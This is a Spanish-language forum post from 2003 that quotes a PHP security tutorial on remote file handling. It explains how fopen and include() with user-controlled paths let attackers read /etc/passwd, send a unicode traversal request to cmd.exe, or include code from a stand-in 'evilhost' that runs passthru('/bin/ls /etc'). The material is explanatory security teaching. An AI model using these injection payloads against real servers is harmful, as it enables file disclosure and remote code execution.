Ver Mensaje Individual
  #1 (permalink)  
Antiguo 25/05/2003, 18:01
Avatar de mveraa
mveraa
 
Fecha de Ingreso: diciembre-2002
Ubicación: santiago-chilito
Mensajes: 1.931
Antigüedad: 21 años, 3 meses
Puntos: 2
"archivos remotos"

--- < 4. Archivos Remotos > ----------------------------------------------------

Voy a repetir esto con frecuencia durante este escrito, PHP es un lenguaje muy
rico, viene con una gran cantidad de funcionalidades y trata de hacerle la vida
f cil al programador para programar ( o dise¤ador web como a veces es ).
Desde la perspectiva de la seguridad, cuanto mas funcionalidad superflua ofrece
un lenguaje y menos intutitivas las posibilidades, se hace m s dificultoso
escribir aplicaciones seguras. Un exelente ejemplo de esto es la funcionalidad
de Archivos Remotos de PHP.

El codigo siguiente de PHP se utiliza para abrir un archivo:

<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>\n");
?>

El c¢digo abre un archivo especificado en la variable $filename para leerlo. Si
falla muestra un mensaje de error. Obviamente esto puede llegar a ser un
problema de seguridad si el usuario puede poner lo que quiera en $filename y por
ejemplo mostrar /etc/passwd, pero de otra forma poco intuitiva se puede leer
datos de otro sitio web/ftp. La funcionalidad de archivos remotos sirve
justamente para que con casi cualquier funci¢n de manejo de archivos de PHP
puede manejar transparentemente archivos remotos por HTTP and FTP. Si $filename
tendria:
(por ejemplo)
http://target/scripts/..%c1%1c../win...cmd.exe?/c+dir PHP har¡a una
petici¢n HTTP al server "destino", en este caso tratando de explotar la falla
unicode.

Esto es mas interesante con relaci¢n a otras 4 funciones que tiene incluida la
funcionalidad de archivos remotos (*** excepto en Window ***), include(),
require(), include_once() y require_once(). Estas funciones toman un archivo lo
leen, y lo parsean como c¢digo php. Son usadas la mayor¡a de las veces para
usar librer¡as (o bibliotecas), donde hay c¢digo php y se la incluye cuando se
la necesita.
Ahora mira el siguiente c¢digo:

<?php
include($libdir . "/languages.php");
?>

Aparentemente $libdir es una variable de configuraci¢n que ya hemos asignado
anteriormente en el c¢digo, que contiene el directorio en donde est n los
archivos de las librer¡as. Si el atacante puede hacer que la variable no la
asigne el script (lo que es una tarea no tan dificultosa) y en vez de hacer
submit puede modificar en comienzo del path. Esto no sirve para nada por que
solo tienen acceso a el archivo languages.php en el directorio que ellos elijan
( ataques del tipo poison null como en perl no funcionan con PHP) pero si pueden
grabar un archivo llamado languages.php en cualquier directorio conteniendo por
ejemplo:

<?php
passthru("/bin/ls /etc");
?>

despu‚s asignan $libdir a http://<evilhost>/ cuando php encuentra la sentencia
include php hace la petici¢n HTTP al evilhost, extrae el c¢digo del atacante y
lo ejecuta, d ndonos de esa manera un listado del /etc en el browser. Te t‚nes
que dar cuenta que el cliente quiz s no este ni corriendo php por que se ejecuta
el servidor remoto.